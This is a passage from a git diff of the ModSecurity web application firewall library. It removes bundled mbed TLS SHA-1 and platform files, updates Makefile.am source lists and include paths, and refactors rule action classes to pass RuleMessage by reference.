or 1 if the test failed - */ -int mbedtls_md5_self_test( int verbose ); - -#ifdef __cplusplus -} -#endif - -#endif /* mbedtls_md5.h */ \ No newline at end of file diff --git a/others/mbedtls/platform.h b/others/mbedtls/platform.h deleted file mode 100644 index f71f1b6494..0000000000 --- a/others/mbedtls/platform.h +++ /dev/null @@ -1,214 +0,0 @@ -/** - * \file platform.h - * - * \brief mbed TLS Platform abstraction layer - * - * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved - * SPDX-License-Identifier: Apache-2.0 - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may - * not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT - * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * This file is part of mbed TLS (https://tls.mbed.org) - */ -#ifndef MBEDTLS_PLATFORM_H -#define MBEDTLS_PLATFORM_H - -#if !defined(MBEDTLS_CONFIG_FILE) -#include "config.h" -#else -#include MBEDTLS_CONFIG_FILE -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * \name SECTION: Module settings - * - * The configuration options you can set for this module are in this section. - * Either change them in config.h or define them on the compiler command line. - * \{ - */ - -#if !defined(MBEDTLS_PLATFORM_NO_STD_FUNCTIONS) -#include -#include -#if !defined(MBEDTLS_PLATFORM_STD_SNPRINTF) -#if defined(_WIN32) -#define MBEDTLS_PLATFORM_STD_SNPRINTF mbedtls_platform_win32_snprintf /**< Default snprintf to use */ -#else -#define MBEDTLS_PLATFORM_STD_SNPRINTF snprintf /**< Default snprintf to use */ -#endif -#endif -#if !defined(MBEDTLS_PLATFORM_STD_PRINTF) -#define MBEDTLS_PLATFORM_STD_PRINTF printf /**< Default printf to use */ -#endif -#if !defined(MBEDTLS_PLATFORM_STD_FPRINTF) -#define MBEDTLS_PLATFORM_STD_FPRINTF fprintf /**< Default fprintf to use */ -#endif -#if !defined(MBEDTLS_PLATFORM_STD_CALLOC) -#define MBEDTLS_PLATFORM_STD_CALLOC calloc /**< Default allocator to use */ -#endif -#if !defined(MBEDTLS_PLATFORM_STD_FREE) -#define MBEDTLS_PLATFORM_STD_FREE free /**< Default free to use */ -#endif -#if !defined(MBEDTLS_PLATFORM_STD_EXIT) -#define MBEDTLS_PLATFORM_STD_EXIT exit /**< Default free to use */ -#endif -#else /* MBEDTLS_PLATFORM_NO_STD_FUNCTIONS */ -#if defined(MBEDTLS_PLATFORM_STD_MEM_HDR) -#include MBEDTLS_PLATFORM_STD_MEM_HDR -#endif -#endif /* MBEDTLS_PLATFORM_NO_STD_FUNCTIONS */ - -/* \} name SECTION: Module settings */ - -/* - * The function pointers for calloc and free - */ -#if defined(MBEDTLS_PLATFORM_MEMORY) -#if defined(MBEDTLS_PLATFORM_FREE_MACRO) && \ - defined(MBEDTLS_PLATFORM_CALLOC_MACRO) -#define mbedtls_free MBEDTLS_PLATFORM_FREE_MACRO -#define mbedtls_calloc MBEDTLS_PLATFORM_CALLOC_MACRO -#else -/* For size_t */ -#include -extern void * (*mbedtls_calloc)( size_t n, size_t size ); -extern void (*mbedtls_free)( void *ptr ); - -/** - * \brief Set your own memory implementation function pointers - * - * \param calloc_func the calloc function implementation - * \param free_func the free function implementation - * - * \return 0 if successful - */ -int mbedtls_platform_set_calloc_free( void * (*calloc_func)( size_t, size_t ), - void (*free_func)( void * ) ); -#endif /* MBEDTLS_PLATFORM_FREE_MACRO && MBEDTLS_PLATFORM_CALLOC_MACRO */ -#else /* !MBEDTLS_PLATFORM_MEMORY */ -#define mbedtls_free free -#define mbedtls_calloc calloc -#endif /* MBEDTLS_PLATFORM_MEMORY && !MBEDTLS_PLATFORM_{FREE,CALLOC}_MACRO */ - -/* - * The function pointers for fprintf - */ -#if defined(MBEDTLS_PLATFORM_FPRINTF_ALT) -/* We need FILE * */ -#include -extern int (*mbedtls_fprintf)( FILE *stream, const char *format, ... ); - -/** - * \brief Set your own fprintf function pointer - * - * \param fprintf_func the fprintf function implementation - * - * \return 0 - */ -int mbedtls_platform_set_fprintf( int (*fprintf_func)( FILE *stream, const char *, - ... ) ); -#else -#if defined(MBEDTLS_PLATFORM_FPRINTF_MACRO) -#define mbedtls_fprintf MBEDTLS_PLATFORM_FPRINTF_MACRO -#else -#define mbedtls_fprintf fprintf -#endif /* MBEDTLS_PLATFORM_FPRINTF_MACRO */ -#endif /* MBEDTLS_PLATFORM_FPRINTF_ALT */ - -/* - * The function pointers for printf - */ -#if defined(MBEDTLS_PLATFORM_PRINTF_ALT) -extern int (*mbedtls_printf)( const char *format, ... ); - -/** - * \brief Set your own printf function pointer - * - * \param printf_func the printf function implementation - * - * \return 0 - */ -int mbedtls_platform_set_printf( int (*printf_func)( const char *, ... ) ); -#else /* !MBEDTLS_PLATFORM_PRINTF_ALT */ -#if defined(MBEDTLS_PLATFORM_PRINTF_MACRO) -#define mbedtls_printf MBEDTLS_PLATFORM_PRINTF_MACRO -#else -#define mbedtls_printf printf -#endif /* MBEDTLS_PLATFORM_PRINTF_MACRO */ -#endif /* MBEDTLS_PLATFORM_PRINTF_ALT */ - -/* - * The function pointers for snprintf - * - * The snprintf implementation should conform to C99: - * - it *must* always correctly zero-terminate the buffer - * (except when n == 0, then it must leave the buffer untouched) - * - however it is acceptable to return -1 instead of the required length when - * the destination buffer is too short. - */ -#if defined(_WIN32) -/* For Windows (inc. MSYS2), we provide our own fixed implementation */ -int mbedtls_platform_win32_snprintf( char *s, size_t n, const char *fmt, ... ); -#endif - -#if defined(MBEDTLS_PLATFORM_SNPRINTF_ALT) -extern int (*mbedtls_snprintf)( char * s, size_t n, const char * format, ... ); - -/** - * \brief Set your own snprintf function pointer - * - * \param snprintf_func the snprintf function implementation - * - * \return 0 - */ -int mbedtls_platform_set_snprintf( int (*snprintf_func)( char * s, size_t n, - const char * format, ... ) ); -#else /* MBEDTLS_PLATFORM_SNPRINTF_ALT */ -#if defined(MBEDTLS_PLATFORM_SNPRINTF_MACRO) -#define mbedtls_snprintf MBEDTLS_PLATFORM_SNPRINTF_MACRO -#else -#define mbedtls_snprintf snprintf -#endif /* MBEDTLS_PLATFORM_SNPRINTF_MACRO */ -#endif /* MBEDTLS_PLATFORM_SNPRINTF_ALT */ - -/* - * The function pointers for exit - */ -#if defined(MBEDTLS_PLATFORM_EXIT_ALT) -extern void (*mbedtls_exit)( int status ); - -/** - * \brief Set your own exit function pointer - * - * \param exit_func the exit function implementation - * - * \return 0 - */ -int mbedtls_platform_set_exit( void (*exit_func)( int status ) ); -#else -#if defined(MBEDTLS_PLATFORM_EXIT_MACRO) -#define mbedtls_exit MBEDTLS_PLATFORM_EXIT_MACRO -#else -#define mbedtls_exit exit -#endif /* MBEDTLS_PLATFORM_EXIT_MACRO */ -#endif /* MBEDTLS_PLATFORM_EXIT_ALT */ - -#ifdef __cplusplus -} -#endif - -#endif /* platform.h */ diff --git a/others/mbedtls/sha1.c b/others/mbedtls/sha1.c deleted file mode 100644 index 4fd83522f5..0000000000 --- a/others/mbedtls/sha1.c +++ /dev/null @@ -1,448 +0,0 @@ -/* - * FIPS-180-1 compliant SHA-1 implementation - * - * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved - * SPDX-License-Identifier: Apache-2.0 - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may - * not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT - * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * This file is part of mbed TLS (https://tls.mbed.org) - */ -/* - * The SHA-1 standard was published by NIST in 1993. - * - * http://www.itl.nist.gov/fipspubs/fip180-1.htm - */ - -#if !defined(MBEDTLS_CONFIG_FILE) -#include "mbedtls/config.h" -#else -#include MBEDTLS_CONFIG_FILE -#endif - -#if defined(MBEDTLS_SHA1_C) - -#include "mbedtls/sha1.h" - -#include - -#if defined(MBEDTLS_SELF_TEST) -#if defined(MBEDTLS_PLATFORM_C) -#include "mbedtls/platform.h" -#else -#include -#define mbedtls_printf printf -#endif /* MBEDTLS_PLATFORM_C */ -#endif /* MBEDTLS_SELF_TEST */ - -#if !defined(MBEDTLS_SHA1_ALT) - -/* Implementation that should never be optimized out by the compiler */ -static void mbedtls_zeroize( void *v, size_t n ) { - volatile unsigned char *p = v; while( n-- ) *p++ = 0; -} - -/* - * 32-bit integer manipulation macros (big endian) - */ -#ifndef GET_UINT32_BE -#define GET_UINT32_BE(n,b,i) \ -{ \ - (n) = ( (uint32_t) (b)[(i) ] << 24 ) \ - | ( (uint32_t) (b)[(i) + 1] << 16 ) \ - | ( (uint32_t) (b)[(i) + 2] << 8 ) \ - | ( (uint32_t) (b)[(i) + 3] ); \ -} -#endif - -#ifndef PUT_UINT32_BE -#define PUT_UINT32_BE(n,b,i) \ -{ \ - (b)[(i) ] = (unsigned char) ( (n) >> 24 ); \ - (b)[(i) + 1] = (unsigned char) ( (n) >> 16 ); \ - (b)[(i) + 2] = (unsigned char) ( (n) >> 8 ); \ - (b)[(i) + 3] = (unsigned char) ( (n) ); \ -} -#endif - -void mbedtls_sha1_init( mbedtls_sha1_context *ctx ) -{ - memset( ctx, 0, sizeof( mbedtls_sha1_context ) ); -} - -void mbedtls_sha1_free( mbedtls_sha1_context *ctx ) -{ - if( ctx == NULL ) - return; - - mbedtls_zeroize( ctx, sizeof( mbedtls_sha1_context ) ); -} - -void mbedtls_sha1_clone( mbedtls_sha1_context *dst, - const mbedtls_sha1_context *src ) -{ - *dst = *src; -} - -/* - * SHA-1 context setup - */ -void mbedtls_sha1_starts( mbedtls_sha1_context *ctx ) -{ - ctx->total[0] = 0; - ctx->total[1] = 0; - - ctx->state[0] = 0x67452301; - ctx->state[1] = 0xEFCDAB89; - ctx->state[2] = 0x98BADCFE; - ctx->state[3] = 0x10325476; - ctx->state[4] = 0xC3D2E1F0; -} - -#if !defined(MBEDTLS_SHA1_PROCESS_ALT) -void mbedtls_sha1_process( mbedtls_sha1_context *ctx, const unsigned char data[64] ) -{ - uint32_t temp, W[16], A, B, C, D, E; - - GET_UINT32_BE( W[ 0], data, 0 ); - GET_UINT32_BE( W[ 1], data, 4 ); - GET_UINT32_BE( W[ 2], data, 8 ); - GET_UINT32_BE( W[ 3], data, 12 ); - GET_UINT32_BE( W[ 4], data, 16 ); - GET_UINT32_BE( W[ 5], data, 20 ); - GET_UINT32_BE( W[ 6], data, 24 ); - GET_UINT32_BE( W[ 7], data, 28 ); - GET_UINT32_BE( W[ 8], data, 32 ); - GET_UINT32_BE( W[ 9], data, 36 ); - GET_UINT32_BE( W[10], data, 40 ); - GET_UINT32_BE( W[11], data, 44 ); - GET_UINT32_BE( W[12], data, 48 ); - GET_UINT32_BE( W[13], data, 52 ); - GET_UINT32_BE( W[14], data, 56 ); - GET_UINT32_BE( W[15], data, 60 ); - -#define S(x,n) ((x << n) | ((x & 0xFFFFFFFF) >> (32 - n))) - -#define R(t) \ -( \ - temp = W[( t - 3 ) & 0x0F] ^ W[( t - 8 ) & 0x0F] ^ \ - W[( t - 14 ) & 0x0F] ^ W[ t & 0x0F], \ - ( W[t & 0x0F] = S(temp,1) ) \ -) - -#define P(a,b,c,d,e,x) \ -{ \ - e += S(a,5) + F(b,c,d) + K + x; b = S(b,30); \ -} - - A = ctx->state[0]; - B = ctx->state[1]; - C = ctx->state[2]; - D = ctx->state[3]; - E = ctx->state[4]; - -#define F(x,y,z) (z ^ (x & (y ^ z))) -#define K 0x5A827999 - - P( A, B, C, D, E, W[0] ); - P( E, A, B, C, D, W[1] ); - P( D, E, A, B, C, W[2] ); - P( C, D, E, A, B, W[3] ); - P( B, C, D, E, A, W[4] ); - P( A, B, C, D, E, W[5] ); - P( E, A, B, C, D, W[6] ); - P( D, E, A, B, C, W[7] ); - P( C, D, E, A, B, W[8] ); - P( B, C, D, E, A, W[9] ); - P( A, B, C, D, E, W[10] ); - P( E, A, B, C, D, W[11] ); - P( D, E, A, B, C, W[12] ); - P( C, D, E, A, B, W[13] ); - P( B, C, D, E, A, W[14] ); - P( A, B, C, D, E, W[15] ); - P( E, A, B, C, D, R(16) ); - P( D, E, A, B, C, R(17) ); - P( C, D, E, A, B, R(18) ); - P( B, C, D, E, A, R(19) ); - -#undef K -#undef F - -#define F(x,y,z) (x ^ y ^ z) -#define K 0x6ED9EBA1 - - P( A, B, C, D, E, R(20) ); - P( E, A, B, C, D, R(21) ); - P( D, E, A, B, C, R(22) ); - P( C, D, E, A, B, R(23) ); - P( B, C, D, E, A, R(24) ); - P( A, B, C, D, E, R(25) ); - P( E, A, B, C, D, R(26) ); - P( D, E, A, B, C, R(27) ); - P( C, D, E, A, B, R(28) ); - P( B, C, D, E, A, R(29) ); - P( A, B, C, D, E, R(30) ); - P( E, A, B, C, D, R(31) ); - P( D, E, A, B, C, R(32) ); - P( C, D, E, A, B, R(33) ); - P( B, C, D, E, A, R(34) ); - P( A, B, C, D, E, R(35) ); - P( E, A, B, C, D, R(36) ); - P( D, E, A, B, C, R(37) ); - P( C, D, E, A, B, R(38) ); - P( B, C, D, E, A, R(39) ); - -#undef K -#undef F - -#define F(x,y,z) ((x & y) | (z & (x | y))) -#define K 0x8F1BBCDC - - P( A, B, C, D, E, R(40) ); - P( E, A, B, C, D, R(41) ); - P( D, E, A, B, C, R(42) ); - P( C, D, E, A, B, R(43) ); - P( B, C, D, E, A, R(44) ); - P( A, B, C, D, E, R(45) ); - P( E, A, B, C, D, R(46) ); - P( D, E, A, B, C, R(47) ); - P( C, D, E, A, B, R(48) ); - P( B, C, D, E, A, R(49) ); - P( A, B, C, D, E, R(50) ); - P( E, A, B, C, D, R(51) ); - P( D, E, A, B, C, R(52) ); - P( C, D, E, A, B, R(53) ); - P( B, C, D, E, A, R(54) ); - P( A, B, C, D, E, R(55) ); - P( E, A, B, C, D, R(56) ); - P( D, E, A, B, C, R(57) ); - P( C, D, E, A, B, R(58) ); - P( B, C, D, E, A, R(59) ); - -#undef K -#undef F - -#define F(x,y,z) (x ^ y ^ z) -#define K 0xCA62C1D6 - - P( A, B, C, D, E, R(60) ); - P( E, A, B, C, D, R(61) ); - P( D, E, A, B, C, R(62) ); - P( C, D, E, A, B, R(63) ); - P( B, C, D, E, A, R(64) ); - P( A, B, C, D, E, R(65) ); - P( E, A, B, C, D, R(66) ); - P( D, E, A, B, C, R(67) ); - P( C, D, E, A, B, R(68) ); - P( B, C, D, E, A, R(69) ); - P( A, B, C, D, E, R(70) ); - P( E, A, B, C, D, R(71) ); - P( D, E, A, B, C, R(72) ); - P( C, D, E, A, B, R(73) ); - P( B, C, D, E, A, R(74) ); - P( A, B, C, D, E, R(75) ); - P( E, A, B, C, D, R(76) ); - P( D, E, A, B, C, R(77) ); - P( C, D, E, A, B, R(78) ); - P( B, C, D, E, A, R(79) ); - -#undef K -#undef F - - ctx->state[0] += A; - ctx->state[1] += B; - ctx->state[2] += C; - ctx->state[3] += D; - ctx->state[4] += E; -} -#endif /* !MBEDTLS_SHA1_PROCESS_ALT */ - -/* - * SHA-1 process buffer - */ -void mbedtls_sha1_update( mbedtls_sha1_context *ctx, const unsigned char *input, size_t ilen ) -{ - size_t fill; - uint32_t left; - - if( ilen == 0 ) - return; - - left = ctx->total[0] & 0x3F; - fill = 64 - left; - - ctx->total[0] += (uint32_t) ilen; - ctx->total[0] &= 0xFFFFFFFF; - - if( ctx->total[0] < (uint32_t) ilen ) - ctx->total[1]++; - - if( left && ilen >= fill ) - { - memcpy( (void *) (ctx->buffer + left), input, fill ); - mbedtls_sha1_process( ctx, ctx->buffer ); - input += fill; - ilen -= fill; - left = 0; - } - - while( ilen >= 64 ) - { - mbedtls_sha1_process( ctx, input ); - input += 64; - ilen -= 64; - } - - if( ilen > 0 ) - memcpy( (void *) (ctx->buffer + left), input, ilen ); -} - -static const unsigned char sha1_padding[64] = -{ - 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 -}; - -/* - * SHA-1 final digest - */ -void mbedtls_sha1_finish( mbedtls_sha1_context *ctx, unsigned char output[20] ) -{ - uint32_t last, padn; - uint32_t high, low; - unsigned char msglen[8]; - - high = ( ctx->total[0] >> 29 ) - | ( ctx->total[1] << 3 ); - low = ( ctx->total[0] << 3 ); - - PUT_UINT32_BE( high, msglen, 0 ); - PUT_UINT32_BE( low, msglen, 4 ); - - last = ctx->total[0] & 0x3F; - padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last ); - - mbedtls_sha1_update( ctx, sha1_padding, padn ); - mbedtls_sha1_update( ctx, msglen, 8 ); - - PUT_UINT32_BE( ctx->state[0], output, 0 ); - PUT_UINT32_BE( ctx->state[1], output, 4 ); - PUT_UINT32_BE( ctx->state[2], output, 8 ); - PUT_UINT32_BE( ctx->state[3], output, 12 ); - PUT_UINT32_BE( ctx->state[4], output, 16 ); -} - -#endif /* !MBEDTLS_SHA1_ALT */ - -/* - * output = SHA-1( input buffer ) - */ -void mbedtls_sha1( const unsigned char *input, size_t ilen, unsigned char output[20] ) -{ - mbedtls_sha1_context ctx; - - mbedtls_sha1_init( &ctx ); - mbedtls_sha1_starts( &ctx ); - mbedtls_sha1_update( &ctx, input, ilen ); - mbedtls_sha1_finish( &ctx, output ); - mbedtls_sha1_free( &ctx ); -} - -#if defined(MBEDTLS_SELF_TEST) -/* - * FIPS-180-1 test vectors - */ -static const unsigned char sha1_test_buf[3][57] = -{ - { "abc" }, - { "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" }, - { "" } -}; - -static const int sha1_test_buflen[3] = -{ - 3, 56, 1000 -}; - -static const unsigned char sha1_test_sum[3][20] = -{ - { 0xA9, 0x99, 0x3E, 0x36, 0x47, 0x06, 0x81, 0x6A, 0xBA, 0x3E, - 0x25, 0x71, 0x78, 0x50, 0xC2, 0x6C, 0x9C, 0xD0, 0xD8, 0x9D }, - { 0x84, 0x98, 0x3E, 0x44, 0x1C, 0x3B, 0xD2, 0x6E, 0xBA, 0xAE, - 0x4A, 0xA1, 0xF9, 0x51, 0x29, 0xE5, 0xE5, 0x46, 0x70, 0xF1 }, - { 0x34, 0xAA, 0x97, 0x3C, 0xD4, 0xC4, 0xDA, 0xA4, 0xF6, 0x1E, - 0xEB, 0x2B, 0xDB, 0xAD, 0x27, 0x31, 0x65, 0x34, 0x01, 0x6F } -}; - -/* - * Checkup routine - */ -int mbedtls_sha1_self_test( int verbose ) -{ - int i, j, buflen, ret = 0; - unsigned char buf[1024]; - unsigned char sha1sum[20]; - mbedtls_sha1_context ctx; - - mbedtls_sha1_init( &ctx ); - - /* - * SHA-1 - */ - for( i = 0; i < 3; i++ ) - { - if( verbose != 0 ) - mbedtls_printf( " SHA-1 test #%d: ", i + 1 ); - - mbedtls_sha1_starts( &ctx ); - - if( i == 2 ) - { - memset( buf, 'a', buflen = 1000 ); - - for( j = 0; j < 1000; j++ ) - mbedtls_sha1_update( &ctx, buf, buflen ); - } - else - mbedtls_sha1_update( &ctx, sha1_test_buf[i], - sha1_test_buflen[i] ); - - mbedtls_sha1_finish( &ctx, sha1sum ); - - if( memcmp( sha1sum, sha1_test_sum[i], 20 ) != 0 ) - { - if( verbose != 0 ) - mbedtls_printf( "failed\n" ); - - ret = 1; - goto exit; - } - - if( verbose != 0 ) - mbedtls_printf( "passed\n" ); - } - - if( verbose != 0 ) - mbedtls_printf( "\n" ); - -exit: - mbedtls_sha1_free( &ctx ); - - return( ret ); -} - -#endif /* MBEDTLS_SELF_TEST */ - -#endif /* MBEDTLS_SHA1_C */ \ No newline at end of file diff --git a/others/mbedtls/sha1.h b/others/mbedtls/sha1.h deleted file mode 100644 index 22a585976b..0000000000 --- a/others/mbedtls/sha1.h +++ /dev/null @@ -1,136 +0,0 @@ -/** - * \file sha1.h - * - * \brief SHA-1 cryptographic hash function - * - * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved - * SPDX-License-Identifier: Apache-2.0 - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may - * not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT - * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * This file is part of mbed TLS (https://tls.mbed.org) - */ -#ifndef MBEDTLS_SHA1_H -#define MBEDTLS_SHA1_H - -#if !defined(MBEDTLS_CONFIG_FILE) -#include "config.h" -#else -#include MBEDTLS_CONFIG_FILE -#endif - -#include -#include - -#if !defined(MBEDTLS_SHA1_ALT) -// Regular implementation -// - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * \brief SHA-1 context structure - */ -typedef struct -{ - uint32_t total[2]; /*!< number of bytes processed */ - uint32_t state[5]; /*!< intermediate digest state */ - unsigned char buffer[64]; /*!< data block being processed */ -} -mbedtls_sha1_context; - -/** - * \brief Initialize SHA-1 context - * - * \param ctx SHA-1 context to be initialized - */ -void mbedtls_sha1_init( mbedtls_sha1_context *ctx ); - -/** - * \brief Clear SHA-1 context - * - * \param ctx SHA-1 context to be cleared - */ -void mbedtls_sha1_free( mbedtls_sha1_context *ctx ); - -/** - * \brief Clone (the state of) a SHA-1 context - * - * \param dst The destination context - * \param src The context to be cloned - */ -void mbedtls_sha1_clone( mbedtls_sha1_context *dst, - const mbedtls_sha1_context *src ); - -/** - * \brief SHA-1 context setup - * - * \param ctx context to be initialized - */ -void mbedtls_sha1_starts( mbedtls_sha1_context *ctx ); - -/** - * \brief SHA-1 process buffer - * - * \param ctx SHA-1 context - * \param input buffer holding the data - * \param ilen length of the input data - */ -void mbedtls_sha1_update( mbedtls_sha1_context *ctx, const unsigned char *input, size_t ilen ); - -/** - * \brief SHA-1 final digest - * - * \param ctx SHA-1 context - * \param output SHA-1 checksum result - */ -void mbedtls_sha1_finish( mbedtls_sha1_context *ctx, unsigned char output[20] ); - -/* Internal use */ -void mbedtls_sha1_process( mbedtls_sha1_context *ctx, const unsigned char data[64] ); - -#ifdef __cplusplus -} -#endif - -#else /* MBEDTLS_SHA1_ALT */ -#include "sha1_alt.h" -#endif /* MBEDTLS_SHA1_ALT */ - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * \brief Output = SHA-1( input buffer ) - * - * \param input buffer holding the data - * \param ilen length of the input data - * \param output SHA-1 checksum result - */ -void mbedtls_sha1( const unsigned char *input, size_t ilen, unsigned char output[20] ); - -/** - * \brief Checkup routine - * - * \return 0 if successful, or 1 if the test failed - */ -int mbedtls_sha1_self_test( int verbose ); - -#ifdef __cplusplus -} -#endif - -#endif /* mbedtls_sha1.h */ \ No newline at end of file diff --git a/others/modsec_white_bg.png b/others/modsec_white_bg.png new file mode 100755 index 0000000000..1ba33837ba Binary files /dev/null and b/others/modsec_white_bg.png differ diff --git a/src/Makefile.am b/src/Makefile.am index 605f22dbc7..7154215633 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -66,24 +66,7 @@ libmodsecurity_includesub_collection_HEADERS = \ libmodsecurity_includesub_actions_HEADERS = \ ../headers/modsecurity/actions/action.h - -noinst_HEADERS = \ - actions/*.h \ - actions/ctl/*.h \ - actions/data/*.h \ - actions/disruptive/*.h \ - actions/transformations/*.h \ - debug_log/*.h \ - audit_log/writer/*.h \ - collection/backend/*.h \ - operators/*.h \ - parser/*.h \ - request_body_processor/*.h \ - utils/*.h \ - variables/*.h \ - engine/*.h \ - *.h - +include headers.mk ENGINES = \ engine/lua.cc @@ -119,6 +102,7 @@ ACTIONS = \ actions/chain.cc \ actions/ctl/audit_log_parts.cc \ actions/ctl/audit_engine.cc \ + actions/ctl/parse_xml_into_args.cc \ actions/ctl/rule_engine.cc \ actions/ctl/request_body_processor_json.cc \ actions/ctl/request_body_processor_xml.cc \ @@ -134,6 +118,7 @@ ACTIONS = \ actions/disruptive/redirect.cc \ actions/disruptive/pass.cc \ actions/exec.cc \ + actions/expire_var.cc \ actions/init_col.cc \ actions/log.cc \ actions/log_data.cc \ @@ -202,6 +187,7 @@ OPERATORS = \ operators/contains_word.cc \ operators/detect_sqli.cc \ operators/detect_xss.cc \ + operators/libinjection_adapter.cc \ operators/ends_with.cc \ operators/eq.cc \ operators/fuzzy_hash.cc \ @@ -218,7 +204,6 @@ OPERATORS = \ operators/no_match.cc \ operators/operator.cc \ operators/pm.cc \ - operators/pm_f.cc \ operators/pm_from_file.cc \ operators/rbl.cc \ operators/rsub.cc \ @@ -247,18 +232,16 @@ UTILS = \ utils/geo_lookup.cc \ utils/https_client.cc \ utils/ip_tree.cc \ - utils/md5.cc \ utils/msc_tree.cc \ utils/random.cc \ utils/regex.cc \ - utils/sha1.cc \ - utils/string.cc \ utils/system.cc \ utils/shared_files.cc COLLECTION = \ collection/collections.cc \ + collection/backend/collection_data.cc \ collection/backend/in_memory-per_process.cc \ collection/backend/lmdb.cc @@ -309,18 +292,20 @@ libmodsecurity_la_CFLAGS = libmodsecurity_la_CPPFLAGS = \ - -std=c++11 \ - -I.. \ + -I$(top_srcdir) \ + -I$(top_builddir) \ -g \ - -I../others \ + -I$(top_srcdir)/others \ + -I$(top_srcdir)/others/mbedtls/include \ + -I$(top_srcdir)/others/mbedtls/tf-psa-crypto/include \ + -I$(top_srcdir)/others/mbedtls/tf-psa-crypto/drivers/builtin/include \ -fPIC \ -O3 \ - -I../headers \ + -I$(top_srcdir)/headers \ $(CURL_CFLAGS) \ $(GEOIP_CFLAGS) \ $(GLOBAL_CPPFLAGS) \ $(MODSEC_NO_LOGS) \ - $(MODSEC_MUTEX_ON_PM) \ $(YAJL_CFLAGS) \ $(LMDB_CFLAGS) \ $(PCRE_CFLAGS) \ @@ -361,4 +346,3 @@ libmodsecurity_la_LIBADD = \ $(MAXMIND_LDADD) \ $(SSDEEP_LDADD) \ $(YAJL_LDADD) - diff --git a/src/actions/accuracy.cc b/src/actions/accuracy.cc index c8cfca72aa..ace9f1c5c4 100644 --- a/src/actions/accuracy.cc +++ b/src/actions/accuracy.cc @@ -15,16 +15,10 @@ #include "src/actions/accuracy.h" -#include -#include +#include "modsecurity/rule_with_actions.h" -#include "modsecurity/actions/action.h" -#include "modsecurity/transaction.h" -#include "modsecurity/rule.h" - -namespace modsecurity { -namespace actions { +namespace modsecurity::actions { bool Accuracy::init(std::string *error) { @@ -45,5 +39,4 @@ bool Accuracy::evaluate(RuleWithActions *rule, Transaction *transaction) { } -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions diff --git a/src/actions/accuracy.h b/src/actions/accuracy.h index f787af190c..bbcdba5864 100644 --- a/src/actions/accuracy.h +++ b/src/actions/accuracy.h @@ -30,7 +30,7 @@ namespace actions { class Accuracy : public Action { public: explicit Accuracy(const std::string &action) - : Action(action, ConfigurationKind), + : Action(action, Kind::ConfigurationKind), m_accuracy(0) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; diff --git a/src/actions/action.cc b/src/actions/action.cc index e58e2067e7..dd329a509f 100644 --- a/src/actions/action.cc +++ b/src/actions/action.cc @@ -45,12 +45,6 @@ namespace modsecurity { namespace actions { -std::string Action::evaluate(const std::string &value, - Transaction *transaction) { - return value; -} - - bool Action::evaluate(RuleWithActions *rule, Transaction *transaction) { return true; } diff --git a/src/actions/audit_log.cc b/src/actions/audit_log.cc index c628ac2364..53f5557114 100644 --- a/src/actions/audit_log.cc +++ b/src/actions/audit_log.cc @@ -27,11 +27,10 @@ namespace modsecurity { namespace actions { -bool AuditLog::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { - rm->m_noAuditLog = false; +bool AuditLog::evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) { + ruleMessage.m_noAuditLog = false; ms_dbg_a(transaction, 9, "Saving transaction to logs"); - rm->m_saveMessage = true; + ruleMessage.m_saveMessage = true; return true; } diff --git a/src/actions/audit_log.h b/src/actions/audit_log.h index d870de2ac3..e6669e434a 100644 --- a/src/actions/audit_log.h +++ b/src/actions/audit_log.h @@ -33,10 +33,9 @@ namespace actions { class AuditLog : public Action { public: explicit AuditLog(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; }; diff --git a/src/actions/block.cc b/src/actions/block.cc index bde5e63464..b36540627e 100644 --- a/src/actions/block.cc +++ b/src/actions/block.cc @@ -29,15 +29,14 @@ namespace modsecurity { namespace actions { -bool Block::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { +bool Block::evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) { ms_dbg_a(transaction, 8, "Marking request as disruptive."); for (auto &a : transaction->m_rules->m_defaultActions[rule->getPhase()]) { if (a->isDisruptive() == false) { continue; } - a->evaluate(rule, transaction, rm); + a->evaluate(rule, transaction, ruleMessage); } return true; diff --git a/src/actions/block.h b/src/actions/block.h index 7c40bbd830..1f265fdac0 100644 --- a/src/actions/block.h 